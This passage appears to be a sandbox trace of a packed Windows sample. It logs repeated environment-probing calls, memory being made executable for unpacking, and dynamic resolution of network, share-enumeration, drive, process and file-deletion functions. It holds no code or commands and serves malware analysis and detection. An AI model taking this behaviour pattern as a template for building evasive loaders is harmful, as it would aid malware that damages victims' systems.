(ProcessorFeature=0x0) returned 0 [0096.146] GetTickCount () returned 0x4681 [0096.146] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.146] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.146] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.146] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.146] GetTickCount () returned 0x4681 [0096.146] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.146] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.146] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.146] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.146] GetTickCount () returned 0x4681 [0096.146] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.146] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.146] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.146] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.146] GetTickCount () returned 0x4681 [0096.146] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.146] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.147] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.147] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.147] GetTickCount () returned 0x4681 [0096.147] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.147] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.147] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.147] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.147] GetTickCount () returned 0x4681 [0096.147] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.147] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.147] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.147] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.147] GetTickCount () returned 0x4681 [0096.147] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.147] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.147] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.147] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.147] GetTickCount () returned 0x4681 [0096.147] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.147] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.147] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.147] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.147] GetTickCount () returned 0x4681 [0096.147] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.148] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.148] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.148] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.148] GetTickCount () returned 0x4681 [0096.148] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.148] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.148] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.148] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.148] GetTickCount () returned 0x4681 [0096.148] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.148] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.148] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.148] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.148] GetTickCount () returned 0x4681 [0096.148] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.148] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.148] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.148] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.148] GetTickCount () returned 0x4681 [0096.148] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.148] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.148] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.148] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.148] GetTickCount () returned 0x4681 [0096.149] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.149] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.149] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.149] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.149] GetTickCount () returned 0x4681 [0096.149] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.149] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.149] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.149] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.149] GetTickCount () returned 0x4681 [0096.149] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.149] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.149] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.149] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.149] GetTickCount () returned 0x4681 [0096.149] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.149] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.149] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.149] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.149] GetTickCount () returned 0x4681 [0096.149] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.149] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.149] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.150] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.150] GetTickCount () returned 0x4681 [0096.150] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.150] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.150] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.150] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.150] GetTickCount () returned 0x4681 [0096.150] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.150] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.150] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.150] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0096.150] GetTickCount () returned 0x4681 [0096.150] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0096.150] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0096.150] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0096.150] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0102.484] LocalAlloc (uFlags=0x0, uBytes=0x4690c) returned 0x5f4418 [0102.502] LocalAlloc (uFlags=0x0, uBytes=0x4690c) returned 0x63ad30 [0102.507] VirtualProtect (in: lpAddress=0x63ad30, dwSize=0x34ec9, flNewProtect=0x40, lpflOldProtect=0x18f3f0 | out: lpflOldProtect=0x18f3f0*=0x4) returned 1 [0102.524] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x764a0000 [0102.524] GetProcAddress (hModule=0x764a0000, lpProcName="GlobalAlloc") returned 0x764b588e [0102.525] GetProcAddress (hModule=0x764a0000, lpProcName="GetLastError") returned 0x764b11c0 [0102.525] GetProcAddress (hModule=0x764a0000, lpProcName="Sleep") returned 0x764b10ff [0102.525] GetProcAddress (hModule=0x764a0000, lpProcName="CreateToolhelp32Snapshot") returned 0x764d735f [0102.525] GetProcAddress (hModule=0x764a0000, lpProcName="Module32First") returned 0x76535cd9 [0102.525] GetProcAddress (hModule=0x764a0000, lpProcName="CloseHandle") returned 0x764b1410 [0102.525] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x58 [0102.527] Module32First (hSnapshot=0x58, lpme=0x18f174) returned 1 [0102.577] CloseHandle (hObject=0x58) returned 1 [0102.579] GetProcAddress (hModule=0x764a0000, lpProcName="LoadLibraryA") returned 0x764b49d7 [0102.579] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x764a0000 [0102.579] GetProcAddress (hModule=0x764a0000, lpProcName="VirtualAlloc") returned 0x764b1856 [0102.579] GetProcAddress (hModule=0x764a0000, lpProcName="VirtualProtect") returned 0x764b435f [0102.579] GetProcAddress (hModule=0x764a0000, lpProcName="VirtualFree") returned 0x764b186e [0102.579] GetProcAddress (hModule=0x764a0000, lpProcName="GetVersionExA") returned 0x764b3519 [0102.579] GetProcAddress (hModule=0x764a0000, lpProcName="TerminateProcess") returned 0x764cd802 [0102.580] GetProcAddress (hModule=0x764a0000, lpProcName="ExitProcess") returned 0x764b7a10 [0102.580] GetProcAddress (hModule=0x764a0000, lpProcName="SetErrorMode") returned 0x764b1b00 [0102.580] SetErrorMode (uMode=0x400) returned 0x0 [0102.580] SetErrorMode (uMode=0x0) returned 0x400 [0102.580] GetVersionExA (in: lpVersionInformation=0x18e2f8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x84w") | out: lpVersionInformation=0x18e2f8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0102.580] VirtualAlloc (lpAddress=0x0, dwSize=0x5ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0102.585] VirtualProtect (in: lpAddress=0x400000, dwSize=0x7a000, flNewProtect=0x40, lpflOldProtect=0x18f380 | out: lpflOldProtect=0x18f380*=0x2) returned 1 [0102.625] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0102.626] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x76140000 [0102.627] GetProcAddress (hModule=0x76140000, lpProcName="RpcStringFreeW") returned 0x76161635 [0102.627] GetProcAddress (hModule=0x76140000, lpProcName="UuidToStringW") returned 0x76181ee5 [0102.627] GetProcAddress (hModule=0x76140000, lpProcName="UuidToStringA") returned 0x761bd918 [0102.627] GetProcAddress (hModule=0x76140000, lpProcName="RpcStringFreeA") returned 0x76183fc5 [0102.627] GetProcAddress (hModule=0x76140000, lpProcName="UuidCreate") returned 0x7615f48b [0102.627] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x75320000 [0102.675] GetProcAddress (hModule=0x75320000, lpProcName="WNetCloseEnum") returned 0x75322dd6 [0102.675] GetProcAddress (hModule=0x75320000, lpProcName="WNetOpenEnumW") returned 0x75322f06 [0102.675] GetProcAddress (hModule=0x75320000, lpProcName="WNetEnumResourceW") returned 0x75323058 [0102.675] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x753d0000 [0102.697] GetProcAddress (hModule=0x753d0000, lpProcName="InternetCloseHandle") returned 0x753eab49 [0102.698] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlW") returned 0x7544be5c [0102.698] GetProcAddress (hModule=0x753d0000, lpProcName="InternetReadFile") returned 0x753eb406 [0102.698] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenUrlA") returned 0x754130f1 [0102.698] GetProcAddress (hModule=0x753d0000, lpProcName="HttpQueryInfoW") returned 0x753f5c75 [0102.698] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenA") returned 0x753ff18e [0102.698] GetProcAddress (hModule=0x753d0000, lpProcName="InternetOpenW") returned 0x753f9197 [0102.698] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x752e0000 [0102.753] GetProcAddress (hModule=0x752e0000, lpProcName="timeGetTime") returned 0x752e26e0 [0102.753] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x766f0000 [0102.753] GetProcAddress (hModule=0x766f0000, lpProcName="PathFindExtensionW") returned 0x7670a1b9 [0102.753] GetProcAddress (hModule=0x766f0000, lpProcName="PathFindFileNameW") returned 0x7670bb71 [0102.754] GetProcAddress (hModule=0x766f0000, lpProcName="PathRemoveFileSpecW") returned 0x76703248 [0102.754] GetProcAddress (hModule=0x766f0000, lpProcName="PathFileExistsW") returned 0x767045bf [0102.754] GetProcAddress (hModule=0x766f0000, lpProcName="PathAppendW") returned 0x767081ef [0102.754] GetProcAddress (hModule=0x766f0000, lpProcName="PathAppendA") returned 0x766fd65e [0102.754] GetProcAddress (hModule=0x766f0000, lpProcName="PathFileExistsA") returned 0x7672ad1a [0102.754] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x764a0000 [0102.754] GetProcAddress (hModule=0x764a0000, lpProcName="GetTickCount") returned 0x764b110c [0102.754] GetProcAddress (hModule=0x764a0000, lpProcName="TlsFree") returned 0x764b3587 [0102.754] GetProcAddress (hModule=0x764a0000, lpProcName="GetCommandLineW") returned 0x764b5223 [0102.754] GetProcAddress (hModule=0x764a0000, lpProcName="CreateFileA") returned 0x764b53c6 [0102.754] GetProcAddress (hModule=0x764a0000, lpProcName="FindFirstFileW") returned 0x764b4435 [0102.754] GetProcAddress (hModule=0x764a0000, lpProcName="SetFilePointer") returned 0x764b17d1 [0102.754] GetProcAddress (hModule=0x764a0000, lpProcName="lstrlenA") returned 0x764b5a4b [0102.754] GetProcAddress (hModule=0x764a0000, lpProcName="SetErrorMode") returned 0x764b1b00 [0102.755] GetProcAddress (hModule=0x764a0000, lpProcName="FreeLibrary") returned 0x764b34c8 [0102.755] GetProcAddress (hModule=0x764a0000, lpProcName="CreateProcessW") returned 0x764b103d [0102.755] GetProcAddress (hModule=0x764a0000, lpProcName="SetFilePointerEx") returned 0x764cc807 [0102.755] GetProcAddress (hModule=0x764a0000, lpProcName="CreateDirectoryW") returned 0x764b4259 [0102.755] GetProcAddress (hModule=0x764a0000, lpProcName="WaitForSingleObject") returned 0x764b1136 [0102.755] GetProcAddress (hModule=0x764a0000, lpProcName="GetLogicalDrives") returned 0x764b5371 [0102.755] GetProcAddress (hModule=0x764a0000, lpProcName="VirtualFree") returned 0x764b186e [0102.755] GetProcAddress (hModule=0x764a0000, lpProcName="WriteFile") returned 0x764b1282 [0102.755] GetProcAddress (hModule=0x764a0000, lpProcName="GetDriveTypeA") returned 0x764cef75 [0102.755] GetProcAddress (hModule=0x764a0000, lpProcName="OpenProcess") returned 0x764b1986 [0102.755] GetProcAddress (hModule=0x764a0000, lpProcName="GlobalAlloc") returned 0x764b588e [0102.755] GetProcAddress (hModule=0x764a0000, lpProcName="GetSystemDirectoryW") returned 0x764b5063 [0102.756] GetProcAddress (hModule=0x764a0000, lpProcName="WideCharToMultiByte") returned 0x764b170d [0102.756] GetProcAddress (hModule=0x764a0000, lpProcName="LoadLibraryW") returned 0x764b492b [0102.756] GetProcAddress (hModule=0x764a0000, lpProcName="Sleep") returned 0x764b10ff [0102.756] GetProcAddress (hModule=0x764a0000, lpProcName="CopyFileW") returned 0x764d830d [0102.756] GetProcAddress (hModule=0x764a0000, lpProcName="FormatMessageW") returned 0x764b4620 [0102.756] GetProcAddress (hModule=0x764a0000, lpProcName="lstrcpynW") returned 0x764dd556 [0102.756] GetProcAddress (hModule=0x764a0000, lpProcName="CreateProcessA") returned 0x764b1072 [0102.756] GetProcAddress (hModule=0x764a0000, lpProcName="TerminateProcess") returned 0x764cd802 [0102.756] GetProcAddress (hModule=0x764a0000, lpProcName="ReadFile") returned 0x764b3ed3 [0102.756] GetProcAddress (hModule=0x764a0000, lpProcName="CreateFileW") returned 0x764b3f5c [0102.756] GetProcAddress (hModule=0x764a0000, lpProcName="lstrcatA") returned 0x764d2b7a [0102.756] GetProcAddress (hModule=0x764a0000, lpProcName="GetEnvironmentVariableA") returned 0x764b33a0 [0102.757] GetProcAddress (hModule=0x764a0000, lpProcName="lstrcmpW") returned 0x764b5929 [0102.757] GetProcAddress (hModule=0x764a0000, lpProcName="MultiByteToWideChar") returned 0x764b192e [0102.757] GetProcAddress (hModule=0x764a0000, lpProcName="lstrlenW") returned 0x764b1700 [0102.757] GetProcAddress (hModule=0x764a0000, lpProcName="FlushFileBuffers") returned 0x764b469b [0102.757] GetProcAddress (hModule=0x764a0000, lpProcName="GetShortPathNameA") returned 0x764d594d [0102.757] GetProcAddress (hModule=0x764a0000, lpProcName="GetFileSizeEx") returned 0x764b59e2 [0102.757] GetProcAddress (hModule=0x764a0000, lpProcName="GetLastError") returned 0x764b11c0 [0102.757] GetProcAddress (hModule=0x764a0000, lpProcName="SetLastError") returned 0x764b11a9 [0102.757] GetProcAddress (hModule=0x764a0000, lpProcName="GetProcAddress") returned 0x764b1222 [0102.757] GetProcAddress (hModule=0x764a0000, lpProcName="VirtualAlloc") returned 0x764b1856 [0102.757] GetProcAddress (hModule=0x764a0000, lpProcName="MoveFileW") returned 0x764c9af0 [0102.757] GetProcAddress (hModule=0x764a0000, lpProcName="FindClose") returned 0x764b4442 [0102.757] GetProcAddress (hModule=0x764a0000, lpProcName="Process32FirstW") returned 0x764d8baf [0102.758] GetProcAddress (hModule=0x764a0000, lpProcName="LocalAlloc") returned 0x764b168c [0102.758] GetProcAddress (hModule=0x764a0000, lpProcName="CreateEventW") returned 0x764b183e [0102.758] GetProcAddress (hModule=0x764a0000, lpProcName="GetModuleFileNameA") returned 0x764b14b1 [0102.758] GetProcAddress (hModule=0x764a0000, lpProcName="Process32NextW") returned 0x764d896c [0102.758] GetProcAddress (hModule=0x764a0000, lpProcName="lstrcatW") returned 0x764d828e [0102.758] GetProcAddress (hModule=0x764a0000, lpProcName="CreateMutexA") returned 0x764b4c6b [0102.758] GetProcAddress (hModule=0x764a0000, lpProcName="FatalAppExitA") returned 0x76534691 [0102.758] GetProcAddress (hModule=0x764a0000, lpProcName="CreateToolhelp32Snapshot") returned 0x764d735f [0102.758] GetProcAddress (hModule=0x764a0000, lpProcName="CloseHandle") returned 0x764b1410 [0102.758] GetProcAddress (hModule=0x764a0000, lpProcName="DeleteFileW") returned 0x764b89b3 [0102.758] GetProcAddress (hModule=0x764a0000, lpProcName="LocalFree") returned 0x764b2d3c [0102.758] GetProcAddress (hModule=0x764a0000, lpProcName="lstrcpyW") returned 0x764d3102 [0102.758] GetProcAddress (hModule=0x764a0000, lpProcName="DeleteFileA") returned 0x764b5444 [0102.759] GetProcAddress (hModule=0x764a0000, lpProcName="lstrcpyA") returned 0x764d2a9d [0102.759] GetProcAddress (hModule=0x764a0000, lpProcName="SetPriorityClass") returned 0x764ccf28 [0102.759] GetProcAddress (hModule=0x764a0000, lpProcName="GetModuleHandleW") returned 0x764b34b0 [0102.759] GetProcAddress (hModule=0x764a0000, lpProcName="GetComputerNameW") returned 0x764bdd0e [0102.759] GetProcAddress (hModule=0x764a0000, lpProcName="GetExitCodeProcess") returned 0x764c174d [0102.759] GetProcAddress (hModule=0x764a0000, lpProcName="GetModuleFileNameW") returned 0x764b4950 [0102.759] GetProcAddress (hModule=0x764a0000, lpProcName="GlobalFree") returned 0x764b5558 [0102.759] GetProcAddress (hModule=0x764a0000, lpProcName="GetVersion") returned 0x764b4467 [0102.760] GetProcAddress (hModule=0x764a0000, lpProcName="CreateDirectoryA") returned 0x764dd526 